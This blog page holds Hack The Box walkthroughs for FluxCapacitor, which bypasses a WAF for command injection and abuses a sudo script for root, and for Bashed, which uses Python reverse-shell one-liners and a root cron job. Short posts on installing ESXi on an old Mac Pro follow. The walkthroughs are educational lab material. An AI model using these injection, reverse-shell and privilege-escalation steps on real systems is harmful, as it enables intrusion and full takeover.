Moving to gitlab

This blog will be moving to GitLab:

Hackthebox – FluxCapacitor




Only TCP 80 seems open:

root@kali:/media/sf_CTFs/hackthebox/fluxcapacitor- nmap -sT -p- --min-rate 5000 --max-retries 1 -oA nmap/alltcp

Starting Nmap 7.60 ( ) at 2018-03-21 06:14 EDT
Warning: giving up on port because retransmission cap hit (1).
Nmap scan report for
Host is up (0.098s latency).
Not shown: 63754 closed ports, 1780 filtered ports
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds
root@kali:/media/sf_CTFs/hackthebox/fluxcapacitor- nmap -sU -p- --min-rate 5000 --max-retries 1 -oA nmap/alludp

Starting Nmap 7.60 ( ) at 2018-03-21 06:14 EDT
Warning: giving up on port because retransmission cap hit (1).
Nmap scan report for
Host is up (0.10s latency).
All 65535 scanned ports on are open|filtered (65504) or closed (31)

Nmap done: 1 IP address (1 host up) scanned in 26.69 seconds

port 80

The page is super simple: 


The source reveals another path, /sync:

Keep Alive

    OK: node1 alive
        Please, add timestamp with something like:
         $.ajax({ type: "GET", url: '/sync' }); 

    FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb

    Roads? Where we're going, we don't need roads.

However, visiting this path in the browser returns forbidden.


Time to look for other paths:

root@kali:/media/sf_CTFs/hackthebox/fluxcapacitor- gobuster -u http://fluxcapacitor.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   : http://fluxcapacitor.htb/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes : 301,302,307,200,204
/sync (Status: 200)
/synctoy (Status: 200)
/synching (Status: 200)
/sync_scan (Status: 200)
/syncnister (Status: 200)
/syncbackse (Status: 200)
/synch (Status: 200)
/sync4j (Status: 200)
/synchpst (Status: 200)
/syncapture (Status: 200)
/syncback (Status: 200)
/syncml (Status: 200)
/synchronization (Status: 200)

Finds the same /sync path, but it gets a 200, not a 403. Any path starting sync* will return the same. curl shows a good result too:

root@kali:/media/sf_CTFs/hackthebox/fluxcapacitor- curl http://fluxcapacitor.htb/sync
root@kali:/media/sf_CTFs/hackthebox/fluxcapacitor- curl http://fluxcapacitor.htb/sync -x

Suspect that it is filtering on user agent. Confirmed by catching a request from firefox with burp, changing the UA to ‘yip’, and then the result is the time.

Since this /sync path is used for something, let’s look for a parameter using wfuzz. Interstingly, opt returns something different:

root@kali:/media/sf_CTFs/hackthebox/fluxcapacitor- wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "User-Agent: nothingtoseehere" --hh=19 "http://fluxcapacitor.htb/sync?FUZZ=test"                                                                                        

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

* Wfuzz 2.2.9 - The Web Fuzzer                         *

Target: http://fluxcapacitor.htb/sync?FUZZ=test
Total requests: 220560

ID      Response   Lines      Word         Chars          Payload

009874:  C=403      7 L       10 W          175 Ch        "opt"
060620:  C=200      2 L        1 W       19 Ch    "87764"
Fatal exception: Pycurl error 28: Operation timed out after 90000 milliseconds with 0 bytes received

Try to figure out what the opt parameter takes. Check out this:

If I just send the ‘, it comes back with ‘\n’ payload, with the following header (curl then burp response header):

root@kali:~/hackthebox/fluxcapacitor- curl "http://fluxcapacitor.htb/sync?opt='" -x

HTTP/1.1 200 OK
Date: Sat, 24 Mar 2018 00:24:02 GMT
Content-Type: text/plain
Connection: close
Server: SuperWAF
Content-Length: 1

If i put in a command without the ‘:

root@kali:~/hackthebox/fluxcapacitor- curl "http://fluxcapacitor.htb/sync?opt=ls" -x
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>

HTTP/1.1 403 Forbidden
Date: Sat, 24 Mar 2018 00:25:11 GMT
Content-Type: text/html
Content-Length: 175
Connection: close

Tried a bunch of different stuff, all that returns 403:

  • curl "http://fluxcapacitor.htb/sync?opt='echo'"
  • curl "http://fluxcapacitor.htb/sync?opt='echo"
  • curl "http://fluxcapacitor.htb/sync?opt='pwd"
  • curl "http://fluxcapacitor.htb/sync?opt='/bin/ls"
  • curl "http://fluxcapacitor.htb/sync?opt='/usr/bin/curl+"
  • curl "http://fluxcapacitor.htb/sync?opt='wget"
  • curl "http://fluxcapacitor.htb/sync?opt=wget"

Other stuff returns the time (api working correctly), and these have the same Server: SuperWAF header in the response:

  • curl "http://fluxcapacitor.htb/sync?opt=''"
  • curl "http://fluxcapacitor.htb/sync?opt='.'"
  • curl "http://fluxcapacitor.htb/sync?opt='/'"

Other stuff returns an empty line:

  • curl "http://fluxcapacitor.htb/sync?opt='/"
  • curl "http://fluxcapacitor.htb/sync?opt='/b"
  • curl "http://fluxcapacitor.htb/sync?opt='/bin"
  • curl "http://fluxcapacitor.htb/sync?opt='/bin/l"
  • curl "http://fluxcapacitor.htb/sync?opt='/bin/l?"
  • curl "http://fluxcapacitor.htb/sync?opt='/usr/bin/cur?+"

Perhaps the 403 is a WAF rejecting me, which is why /bin/l doesn’t get 403, but /bin/ls does? But the Server: SuperWAF comes back only in the empty replies and the functional replies.

Seems like if I can figure out command injection, then I can figure out how to get that through the WAF…

Adding a space starts to get somewhere…and using ” to break things apart.

root@kali:~/hackthebox/fluxcapacitor- curl "' pw''d'"
bash: -c: option requires an argument

root@kali:~/hackthebox/fluxcapacitor- curl "' whi''ch cu''rl'"
bash: -c: option requires an argument

Test callout:

root@kali:~/hackthebox/fluxcapacitor- python -m SimpleHTTPServer 80
Serving HTTP on port 80 ... - - [25/Mar/2018 14:34:01] "GET / HTTP/1.1" 200 -

root@kali:~/hackthebox/fluxcapacitor- curl "' cu''rl'"
bash: -c: option requires an argument

Grab user.txt:

root@kali:~/hackthebox/fluxcapacitor- curl "' l''s /home'"
bash: -c: option requires an argument

root@kali:~/hackthebox/fluxcapacitor- curl "' l''s /home/themiddle'"
bash: -c: option requires an argument

root@kali:~/hackthebox/fluxcapacitor- curl "' c''at /home/themiddle/us''er.txt'"
Flags? Where we're going we don't need flags.
bash: -c: option requires an argument

root@kali:~/hackthebox/fluxcapacitor- curl "' c''at /home/FluxCapacitorIn''c/us''er.txt'"
bash: -c: option requires an argument

Get a shell?

Try a shell:

root@kali:~/hackthebox/fluxcapacitor- curl "' whi''ch pytho''n'"
bash: -c: option requires an argument

root@kali:~/hackthebox/fluxcapacitor- curl "' whi''ch pytho''n3'"
bash: -c: option requires an argument

Give up on Shell, privesc through web

Can find python3, but pipe gets blocked, and i can’t write even to tmp. Getting a shell seems hard.

Since I can’t get LinEnum up on the box, think about the things it typically finds. sudo is a good place to start:

root@kali:~/hackthebox/fluxcapacitor- curl "' su''do -l'"
Matching Defaults entries for nobody on fluxcapacitor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nobody may run the following commands on fluxcapacitor:
    (ALL) ALL
    (root) NOPASSWD: /home/themiddle/.monit
bash: -c: option requires an argument

root@kali:~/hackthebox/fluxcapacitor- curl "' c''at /home/themiddle/.monit'"

if [ "$1" == "cmd" ]; then
        echo "Trying to execute ${2}"
        CMD=$(echo -n ${2} | base64 -d)
        bash -c "$CMD"
bash: -c: option requires an argument

So it looks like the current user can run sudo /home/themiddle/.monit cmd [base64 string], and that base64 string will be decodeed and run as root!

root@kali:~/hackthebox/fluxcapacitor- curl "' su''do /home/themiddle/.monit cmd $(echo cat /root/root.txt | base64)'"
Trying to execute Y2F0IC9yb290L3Jvb3QudHh0Cg==
bash: -c: option requires an argument

Other things to pull

Using this access, pull the webserver configuration:

root@kali:~/hackthebox/fluxcapacitor- curl "' sudo /home/themiddle/.monit cmd $(echo cat /usr/local/o*/n*/conf/ngin*f| base64)'" > nginx.conf

This defines the WAF and the functioality of the application:

more_clear_headers 'Server';
add_header Server 'SuperWAF';

modsecurity on;
location /sync {
 default_type 'text/plain';

modsecurity_rules '
 SecDefaultAction "phase:1,log,auditlog,deny,status:403"
 SecDefaultAction "phase:2,log,auditlog,deny,status:403"

SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"

SecRuleEngine On
 SecRule ARGS "@rx [;\(\)\|\`\<\>\&\$\*]" "id:2,phase:2,t:trim,t:urlDecode,block"
 SecRule ARGS "@rx (user\.txt|root\.txt)" "id:3,phase:2,t:trim,t:urlDecode,block"
 SecRule ARGS "@rx (\/.+\s+.*\/)" "id:4,phase:2,t:trim,t:urlDecode,block"
 SecRule ARGS "@rx (\.\.)" "id:5,phase:2,t:trim,t:urlDecode,block"
 SecRule ARGS "@rx (\?s)" "id:6,phase:2,t:trim,t:urlDecode,block"

SecRule ARGS:opt "@pmFromFile /usr/local/openresty/nginx/conf/unixcmd.txt" "id:99,phase:2,t:trim,t:urlDecode

content_by_lua_block {
 local opt = 'date'
 if ngx.var.arg_opt then
 opt = ngx.var.arg_opt

-- ngx.say("DEBUG: CMD='/home/themiddle/checksync "..opt.."'; bash -c $CMD 2>&1")

local handle = io.popen("CMD='/home/themiddle/checksync "..opt.."'; bash -c ${CMD} 2>&1")
 local result = handle:read("*a")

Hackthebox – Bashed

Bashed retired from today. Here’s my notes transformed into a walkthrough. These notes are from a couple months ago, and they are a bit raw, but posting here anyway.


An initial nmap scan showed only port 80:


root@kali:/media/sf_CTFs/hackthebox/bashed- nmap -sV -sC -oA nmap/initial
Starting Nmap 7.60 ( ) at 2018-03-06 20:40 EST
Nmap scan report for
Host is up (0.098s latency).
Not shown: 999 closed ports
80/tcp open  http?
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 31.85 seconds


The page is a blog with one post about phpbash:

So let’s fire up gobuster and see what the site looks like:


root@kali:/media/sf_CTFs/hackthebox/bashed- gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Gobuster v1.4.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
/images (Status: 301)
/uploads (Status: 301)
/php (Status: 301)
/css (Status: 301)
/dev (Status: 301)
/js (Status: 301)
/fonts (Status: 301)


dev is interesting. and allows dirwalks:

clicking on phpbash gives a shell:

Inside /home/arrexel is the user flag


www-data@bashed:/home/arrexel# ls
www-data@bashed:/home/arrexel# wc -c user.txt
33 user.txt


Shell upgrade:

In phpbash, run:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Local Kali:

root@kali:/media/sf_CTFs/hackthebox/bashed- nc -lnvp 1235
listening on [any] 1235 ...
connect to [] from (UNKNOWN) [] 49932
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'



Start with to get info about privesc. This section stands out:

www-data can sudo as scriptmanager:
We can sudo without supplying a password!                                                                            
Matching Defaults entries for www-data on bashed:                                                                    
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:                                                              
    (scriptmanager : scriptmanager) NOPASSWD: ALL


Easy to get a shell as scriptmanager: sudo -u scriptmanager /bin/bash
Now scriptmanager has access to a folder that www-data could not access:


$ ls -ld /scripts
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec  4 18:06 /scripts


Inside that directory, there are two files:


scriptmanager@bashed:/scripts$ ls -l
total 8
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4 17:03
-rw-r--r-- 1 root          root          12 Mar  7 04:09 test.txt
scriptmanager@bashed:/scripts$ cat
f = open("test.txt", "w")
f.write("testing 123!")
scriptmanager@bashed:/scripts$ cat test.txt
testing 123!


Most interesting is that the test.txt file is owned by root, and seems to be the result of the script, which is writable by scriptmanager.

First, I tried moving test.txt to test.txt.old. A few minutes later, it’s back:


scriptmanager@bashed:/scripts$ date                                              
Wed Mar  7 05:37:32 PST 2018     
scriptmanager@bashed:/scripts$ ls                                         test.txt.old
scriptmanager@bashed:/scripts$ date
Wed Mar  7 05:39:14 PST 2018
scriptmanager@bashed:/scripts$ ls  test.txt  test.txt.old


Something is running that script from the /scripts directory.

Create a test script that writes to a different file, and it writes the different file. So any .py file seems to be run. Also, since doesn’t have a #! at the start, it seems that whatever is running this (maybe a cron?) is calling python.

It is possible to just write a script that reads /root/root.txt and writes it elsewhere, but it’s better to get a shell! Create the exploit:


scriptmanager@bashed:/scripts$ echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/sh\",\"-i\"]);" >


On Kali, set up a listener, and get root shell:


root@kali:/media/sf_CTFs/hackthebox/bashed- nc -lnvp 31337
listening on [any] 31337 ...
connect to [] from (UNKNOWN) [] 47806
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# python -c 'import pty; pty.spawn("/bin/bash")'
root@bashed:/scripts# crontab -l
* * * * * cd /scripts; for f in *.py; do python "$f"; done
root@bashed:/scripts# wc -l /root/root.txt
33 /root/root.txt


As expected, there’s a cron that’s running scripts from the /scripts directory as root.


Home Lab On The Super Cheap – ESXi

I’ve selected ESXi because it’s free, and it allows me to manage multiple VMs from a headless machine. I’ll be learning about it in future posts. But now it’s time to get it running on my 2006 MacPro.

Were this some shiny new hardware, the post would be short. Download the iso, burn it to disk, pop that disk and a USB drive into the machine, turn it on, and install.

But while the MacPro 1,1 is a 64-bit machine, it runs off a 32-bit EFI architecture, and unfortunately, ESXi stopped supporting 32-bit EFI a few releases ago. There are several posts out there about how to do this that I leaned on (1, 2 primarily).

The general approach:

  1. Install ESXi on the USB using a VM
  2. Modify some of the boot files to work in the 32-bit EFI
  3. Move the USB over to the Mac Pro to boot

Installing ESXi on the USB

While I typically use VirtualBox for almost everything, I actually had much better luck getting the USB drive recognized in VMWare Player, so that’s what I’ll show here.

In VMWare Player, Player -> New Virtual Machine. In the wizard, we’ll select the ESXi 6.5 ISO.


Continuing through the rest of the dialogs, making sure to give the machine at least 4GB of ram. Hard disk size is irrelevent. When you’re done, boot the machine.

While the machien is booting, we need to get our USB drive to be recognized by the VM, by going to Player -> Removable Devices -> [USB Drive] -> Connect (Disconnect from host).


Then, when the ESXi installer boots, the USB drive should be one of the options:


Select the USB drive, and continue with the installation, selecting a keyboard layout and setting a good password. When you get to the reboot screen, hit enter to let the VM shutdown. Once it restarts, you can shutdown (and delete) the VM.

Modifying the Boot Files

We’re going to mount the USB so we can interact with the files. First we’ll use fdisk to find the device:

$ sudo fdisk -l
Disk /dev/sdf: 14.3 GiB, 15376000000 bytes, 30031250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 016CA5E2-FC26-49B9-A82B-306F199BD187

Device Start End Sectors Size Type
/dev/sdf1 64 8191 8128 4M EFI System
/dev/sdf5 8224 520191 511968 250M Microsoft basic data
/dev/sdf6 520224 1032191 511968 250M Microsoft basic data
/dev/sdf7 1032224 1257471 225248 110M unknown
/dev/sdf8 1257504 1843199 585696 286M Microsoft basic data
/dev/sdf9 1843200 7086079 5242880 2.5G unknown

We’ll grab the modified boot files from here:

Mount the partition labeled EFI System. We’ve got 4 files to replace, from the unzipped file:

$ find . -type f

$ sudo mount /dev/sdf1 /mnt/
$ ls /mnt/EFI/

$ sudo cp EFI-BOOT/* /mnt/EFI/BOOT/
$ sudo cp EFI-VMWARE/* /mnt/EFI/VMware/

Make sure the files copied correctly:

$ find . -type f -exec md5sum {} \;
40e5ca413f3a9f9a0d70acc004d9c21b ./EFI-BOOT/BOOTx64.EFI
c1c2a7593bf0a81210f04d0bba5b9678 ./EFI-BOOT/BOOTIA32.EFI
e8ab21b08a119b14598e6ecd53698cf9 ./EFI-VMWARE/mboot64.efi
e8d519aa27495ad8d483c25e23b878d3 ./EFI-VMWARE/mboot32.efi

$ find /mnt/EFI/ -type f -exec md5sum {} \;
c1c2a7593bf0a81210f04d0bba5b9678 /mnt/EFI/BOOT/BOOTIA32.EFI
40e5ca413f3a9f9a0d70acc004d9c21b /mnt/EFI/BOOT/BOOTx64.EFI
e8d519aa27495ad8d483c25e23b878d3 /mnt/EFI/VMware/mboot32.efi
e8ab21b08a119b14598e6ecd53698cf9 /mnt/EFI/VMware/mboot64.efi

$ sudo umount /mnt

Boot Mac Pro from USB in ESXi

I’ve removed the MacOS hard drive from the tower, and replaced it with an old 500GB drive I have laying around. Plug in the USB drive, and boot. It’s pretty slow to start up. But just let it go. Success means you’ve reached this page:


Now we can visit that ip given and log in to manage. But that’s a later post.


  • “24GB? I thought you said 32?”. When you go to power on a MacPro and it doesn’t boot but instead the light above the power button blinks, it means bad ram. One of my 4GB DIMMs went bad, and they need to be installed in pairs.
  • ESXi 6.5 shouldn’t work on this machine. According to the ESXi 6.5 release notes, vSphere 6.5 no longer supports the Intel Xeon 53XX series processor. This may cause me problems down the road. I could always roll back to 6.0.
  • Now is a good time to configure the ESXi server. I like to use DHCP, but with a static mapping at my EdgeRouterX gateway/DHCP server. The server is also VLAN aware, so I’ll have to figure that out at a later date.



Home Lab On The Super Cheap – The Hardware

Being able to spin up and down VMs is hugely benefitial to anyone working in Infosec, or into CTFs. But knowing that I have limited time, and a super long to-do list (and I’m cheap), I was hesitent to put $500+ into building out a virtualization server that I wasn’t sure would be well used.

Enter Ebay and the 2006 Mac Pro 1,1. Back in April, I managed to pick up one with 24GB of ram for $120 on Ebay. I then ordered another 8GB of ram ($7.99), and a pair of  Xeon Quad Core 2.66 GHz X5355 processors ($18.99), and I got a decently powerful machine for under $150.


The ram was easy to install – pull out the two trays and add the two new 4GB DIMMS.

The processors were a bit more work. First I had to order some thermal paste, and a new screw driver T15 Torx head. Then I followed these two vidoes:

Finally, got it up and running, showing 32GB or ram and the new processors! I’ve never been a Mac guy, and I won’t spend too much time in the os, since we’re going to boot into ESXI anyway.

I did most of this assembly around 6 months ago. But I’m finally getting around to the ESXI part now, hence the tardy documentation!